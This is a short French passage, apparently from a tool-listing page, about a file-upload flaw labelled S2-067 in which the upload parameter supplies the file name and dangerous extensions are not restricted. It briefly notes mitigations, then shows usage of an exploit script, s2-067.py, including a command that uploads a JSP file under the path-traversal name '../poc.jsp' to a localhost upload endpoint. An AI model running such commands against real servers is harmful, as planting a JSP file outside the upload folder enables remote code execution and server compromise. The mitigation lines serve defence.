Aucune restriction sur les extensions de fichiers dangereuses
Le nom du fichier est récupéré à partir du paramètre d'upload lors du téléversement du fichier.
Le correctif d'atténuation est donc très simple : limiter les extensions, utiliser des noms de fichiers aléatoires personnalisés, etc.
Utilisation du script
root@kitploit:~
python3 s2-067.py -h
root@kitploit:~
python3 s2-067.py -u http://localhost:28080/uploadFile -filename ../poc.jsp -file 2.jsp -type s